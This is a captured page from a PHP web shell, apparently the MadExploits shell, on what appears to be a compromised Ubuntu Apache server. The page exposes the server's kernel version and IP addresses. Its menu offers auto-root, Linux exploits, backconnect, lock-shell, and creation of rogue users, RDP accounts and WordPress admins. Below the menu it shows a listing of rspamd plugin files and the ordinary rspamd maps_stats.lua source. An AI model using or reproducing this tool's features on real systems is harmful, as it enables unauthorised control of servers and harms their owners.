Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.224.96.245
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
rspamd /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
antivirus.lua
11.24
KB
-rw-r--r--
arc.lua
26.72
KB
-rw-r--r--
asn.lua
4.78
KB
-rw-r--r--
aws_s3.lua
7.93
KB
-rw-r--r--
bayes_expiry.lua
14.21
KB
-rw-r--r--
bimi.lua
11.5
KB
-rw-r--r--
clickhouse.lua
49.6
KB
-rw-r--r--
clustering.lua
9.16
KB
-rw-r--r--
dcc.lua
3.19
KB
-rw-r--r--
dkim_signing.lua
5.25
KB
-rw-r--r--
dmarc.lua
21.89
KB
-rw-r--r--
dynamic_conf.lua
8.7
KB
-rw-r--r--
elastic.lua
54.28
KB
-rw-r--r--
emails.lua
128
B
-rw-r--r--
external_relay.lua
7.89
KB
-rw-r--r--
external_services.lua
12.3
KB
-rw-r--r--
force_actions.lua
7.67
KB
-rw-r--r--
forged_recipients.lua
5.32
KB
-rw-r--r--
fuzzy_collect.lua
5.46
KB
-rw-r--r--
gpt.lua
11.32
KB
-rw-r--r--
greylist.lua
16.36
KB
-rw-r--r--
hfilter.lua
16.15
KB
-rw-r--r--
history_redis.lua
9.31
KB
-rw-r--r--
http_headers.lua
6.46
KB
-rw-r--r--
ip_score.lua
130
B
-rw-r--r--
known_senders.lua
13.2
KB
-rw-r--r--
maillist.lua
6.55
KB
-rw-r--r--
maps_stats.lua
3.7
KB
-rw-r--r--
metadata_exporter.lua
20.19
KB
-rw-r--r--
metric_exporter.lua
6.4
KB
-rw-r--r--
mid.lua
3.58
KB
-rw-r--r--
milter_headers.lua
21
KB
-rw-r--r--
mime_types.lua
20.09
KB
-rw-r--r--
multimap.lua
40.08
KB
-rw-r--r--
mx_check.lua
11.42
KB
-rw-r--r--
neural.lua
32.82
KB
-rw-r--r--
once_received.lua
4.76
KB
-rw-r--r--
p0f.lua
2.88
KB
-rw-r--r--
phishing.lua
19.33
KB
-rw-r--r--
ratelimit.lua
22.77
KB
-rw-r--r--
rbl.lua
40.09
KB
-rw-r--r--
replies.lua
13.69
KB
-rw-r--r--
reputation.lua
39.69
KB
-rw-r--r--
rspamd_update.lua
4.07
KB
-rw-r--r--
settings.lua
40.17
KB
-rw-r--r--
spamassassin.lua
48.89
KB
-rw-r--r--
spamtrap.lua
5.87
KB
-rw-r--r--
spf.lua
7.49
KB
-rw-r--r--
trie.lua
4.89
KB
-rw-r--r--
url_redirector.lua
13.42
KB
-rw-r--r--
whitelist.lua
11.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : maps_stats.lua
--[[ Copyright (c) 2022, Vsevolod Stakhov <vsevolod@rspamd.com> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ]]-- if confighelp then rspamd_config:add_example(nil, 'maps_stats', "Stores maps statistics in Redis", [[ maps_stats { # one iteration step per 2 minutes interval = 2m; # how many elements to store in Redis count = 1k; # common prefix for elements prefix = 'rm_'; } ]]) end local redis_params local lua_util = require "lua_util" local rspamd_logger = require "rspamd_logger" local lua_redis = require "lua_redis" local N = "maps_stats" local settings = { interval = 120, -- one iteration step per 2 minutes count = 1000, -- how many elements to store in Redis prefix = 'rm_', -- common prefix for elements } local function process_map(map, ev_base, _) if map:get_nelts() > 0 and map:get_uri() ~= 'static' then local key = settings.prefix .. map:get_uri() local function redis_zrange_cb(err, data) if err then rspamd_logger.errx(rspamd_config, 'cannot delete extra elements in %s: %s', key, err) elseif data then rspamd_logger.infox(rspamd_config, 'cleared %s elements from %s', data, key) end end local function redis_card_cb(err, data) if err then rspamd_logger.errx(rspamd_config, 'cannot get number of elements in %s: %s', key, err) elseif data then if settings.count > 0 and tonumber(data) > settings.count then lua_redis.rspamd_redis_make_request_taskless(ev_base, rspamd_config, redis_params, -- connect params key, -- hash key true, -- is write redis_zrange_cb, --callback 'ZREMRANGEBYRANK', -- command { key, '0', tostring(-(settings.count) - 1) } -- arguments ) end end end local ret, conn, _ = lua_redis.rspamd_redis_make_request_taskless(ev_base, rspamd_config, redis_params, -- connect params key, -- hash key true, -- is write redis_card_cb, --callback 'ZCARD', -- command { key } -- arguments ) if ret and conn then local stats = map:get_stats(true) for k, s in pairs(stats) do if s > 0 then conn:add_cmd('ZINCRBY', { key, tostring(s), k }) end end end end end if not lua_util.check_experimental(N) then return end local opts = rspamd_config:get_all_opt(N) if opts then for k, v in pairs(opts) do settings[k] = v end end redis_params = lua_redis.parse_redis_server(N, opts) -- XXX, this is a poor approach as not all maps are defined here... local tmaps = rspamd_config:get_maps() for _, m in ipairs(tmaps) do if m:get_uri() ~= 'static' then lua_redis.register_prefix(settings.prefix .. m:get_uri(), N, 'Maps stats data', { type = 'zlist', persistent = true, }) end end if redis_params then rspamd_config:add_on_load(function(_, ev_base, worker) local maps = rspamd_config:get_maps() for _, m in ipairs(maps) do rspamd_config:add_periodic(ev_base, settings['interval'], function() process_map(m, ev_base, worker) return true end, true) end end) end
Close